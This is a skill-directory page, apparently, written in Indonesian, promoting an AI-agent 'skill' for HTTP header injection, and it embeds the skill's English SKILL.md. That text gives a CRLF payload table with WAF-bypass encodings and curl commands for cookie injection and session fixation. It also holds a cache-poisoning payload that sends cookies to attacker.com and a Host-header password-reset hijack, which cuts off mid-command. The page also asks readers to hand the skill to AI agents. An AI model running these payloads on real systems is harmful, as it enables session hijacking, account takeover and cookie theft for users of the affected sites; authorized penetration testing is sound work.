header-injection
Fungsinya
Skill ini menjelaskan bagaimana input pengguna bisa ditempatkan ke dalam header HTTP dan dipakai untuk mengubah respons atau cache. Skill ini untuk penguji keamanan yang memeriksa penanganan header dan tautan reset.
Kapan dipakai
- βSaat sebuah situs menyalin input pengguna ke header redirect, cookie, atau unduhan dan Anda ingin mengujinya.
- βSaat tautan reset kata sandi tampaknya dibangun dari nama host pada permintaan.
- βSaat Anda perlu memeriksa apakah sistem cache memperlakukan header tertentu dengan tidak aman.
Link skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.mdSalin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.
Cara pakai
Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.
Pesan siap tempel
Untuk Claude Code, Codex, atau Cursor: jalankan di folder proyek, lalu skill langsung terpasang.
Unduh SKILL.md lalu taruh di folder skill agen Anda.
Contoh permintaan ke AI
βBisakah Anda memeriksa apakah email reset kata sandi saya bisa diubah dengan mengirim header Host yang berbeda?β
5 skill baru setiap minggu. 1 menit baca.
Cara kerjanya
Agent mengirim permintaan dengan karakter pemisah baris dan header host atau penerusan yang diubah, lalu memeriksa apakah server mengembalikan header baru atau membangun tautan dari input.
Konten teknis (SKILL.md asli)
Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.
HTTP Header Injection
Header injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR/LF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, X-Forwarded-For rate-limit bypass, and Content-Disposition filename injection.
Authorized use only. Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource.
Attack Surface
- Query/body/path parameters echoed into
Location,Set-Cookie,Content-Type,Content-Disposition,Link, or customX-*headers - Request headers re-reflected into responses:
Referer,User-Agent,X-Forwarded-Host, correlation IDs - Password-reset / account-recovery flows where the reset link is built from the
Hostheader - OAuth/SSO redirect flows where
Locationis derived from user input - CDN/reverse-proxy stacks where
X-Forwarded-HostorX-Forwarded-Protois echoed into canonical URLs Content-Disposition: attachment; filename=<user_input>file-download endpoints- Outbound email headers populated from user-supplied fields (To/From/Subject)
CR/LF Injection Payload Set
These are the characters and encodings to inject. Try each until one survives to the response header:
| Encoding | Value | Notes |
|---|---|---|
| URL bare LF | %0a |
Most permissive servers |
| URL bare CR | %0d |
Rarely effective alone |
| URL CRLF | %0d%0a |
Classic; many filters strip this |
| Double-encoded | %250d%250a |
Bypasses single-decode WAFs |
| Tab | %09 |
RFC 7230 permits tab in field values; some parsers fold into preceding header |
| Null byte | %00 |
Truncates value in some C-based parsers |
| Unicode LS/PS | %e2%80%a8 / %e2%80%a9 |
U+2028/U+2029; some intermediaries fold to LF |
| Overlong UTF-8 CR | %c0%8d |
Invalid per spec but accepted by some older parsers |
CRLF Response Splitting
Response splitting injects \r\n\r\n to terminate the current response and begin a second attacker-controlled one. Impact: inject Set-Cookie: admin=1, deliver a phishing page, or poison a shared cache.
Detection
TARGET="https://<TARGET>"
# Basic CRLF probe β inject into a redirect or Location parameter
curl -sv "${TARGET}/redirect?url=https://evil.com%0d%0aSet-Cookie:%20admin=1" 2>&1 \
| grep -iE "^< (set-cookie|location|http)"
# Probe via User-Agent or Referer if those are reflected
curl -sv "${TARGET}/" -A "probe%0d%0aX-Injected: crlf-test" 2>&1 \
| grep -i "x-injected"
Win signal: X-Injected: crlf-test or Set-Cookie: admin=1 appears in the response headers.
Exploitation: Inject Arbitrary Cookie
PAYLOAD='https://legit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=/'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -i "set-cookie"
If the injected Set-Cookie appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation.
Exploitation: Response Splitting for Cache Poisoning
# Force a second 200 response body into the cache slot for /
PAYLOAD='foo%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>document.location="https://attacker.com/?c="+document.cookie</script>'
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -iE "^< (http|content-type|set-cookie)"
# Then check if / is now poisoned:
curl -s "${TARGET}/" | grep -i "attacker.com"
Host Header Poisoning
The Host header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious Host causes the app to generate URLs pointing at attacker infrastructure.
Password Reset Link Hijacking
The highest-impact Host header attack: victim requests a password reset, the app builds https://<Host>/reset?token=<token> and emails it. If Host is attacker-controlled, the victim clicks a link to the attacker's server which captures the token.
# Inject host directly
curl -sv -X POST "${TARGET}/forgot-password" \
-H "Host: attacker.com" \
-H "Content-Type: application/json" \
-d '{"email":"vi
Pertanyaan umum
Mengapa skill ini menyebut cache poisoning?
Skill ini mencatat bahwa beberapa header mengubah respons tetapi tidak termasuk dalam kunci cache, sehingga satu respons buruk bisa disajikan kepada pengguna lain.
Apakah skill ini mencakup nama file unduhan?
Ya, skill ini mencakup header Content-Disposition yang dipakai untuk nama file unduhan.
Apakah ini hanya untuk pengujian?
Ini untuk pengujian keamanan, dan skill menyatakan hanya boleh dipakai pada sistem yang Anda punya izin untuk menilainya.
Detail
Deskripsi asli dari pembuat
HTTP header injection β CRLF/response splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition/Set-Cookie injection, and password-reset link poisoning via unvalidated header values.
Popularitas
- Bintang GitHub
- 6.5k
- Peringkat
- #14064
- Lisensi
- Apache-2.0
- Diperbarui
- 1/11/2026
Komentar
- β¦
Skill lain dari repositori ini
detector-overview
6.5kMembantu agent Anda membaca kode yang ditandai pemindai dan memutuskan titik mana yang benar-benar bug keamanan dan mana yang alarm palsu.
exploiter-overview
6.5kMembantu agent Anda menggabungkan beberapa kelemahan keamanan yang terkonfirmasi menjadi satu rantai uji dan memeriksa sejauh mana rantai itu bisa mencapai.
llm-redteam-overview
6.5kMembantu agent Anda menemukan panduan red-team AI yang tepat untuk sebuah uji, mencakup 15 kelompok taktik dari prompt injection sampai penyalahgunaan model.
aatmf-t01-prompt-injection
6.5kMenjelaskan prompt injection, yaitu instruksi tersembunyi yang berusaha mengalahkan sistem AI, agar penguji keamanan dapat memeriksanya.
Skill serupa
reverse-engineer-anything
422kMembantu agent Anda memeriksa aplikasi dan paket yang sudah dirilis untuk menjelaskan fitur, membandingkan versi, atau memandu pembangunan ulang dengan alat REA.
1password
394kMembantu agent Anda mengatur CLI 1Password, masuk, serta membaca atau menyisipkan rahasia tanpa menampilkan nilainya di chat.
healthcheck
394kMembantu agent Anda mengaudit komputer atau server OpenClaw dari risiko keamanan seperti SSH, firewall, pembaruan, dan cadangan, lalu menyarankan perbaikan aman.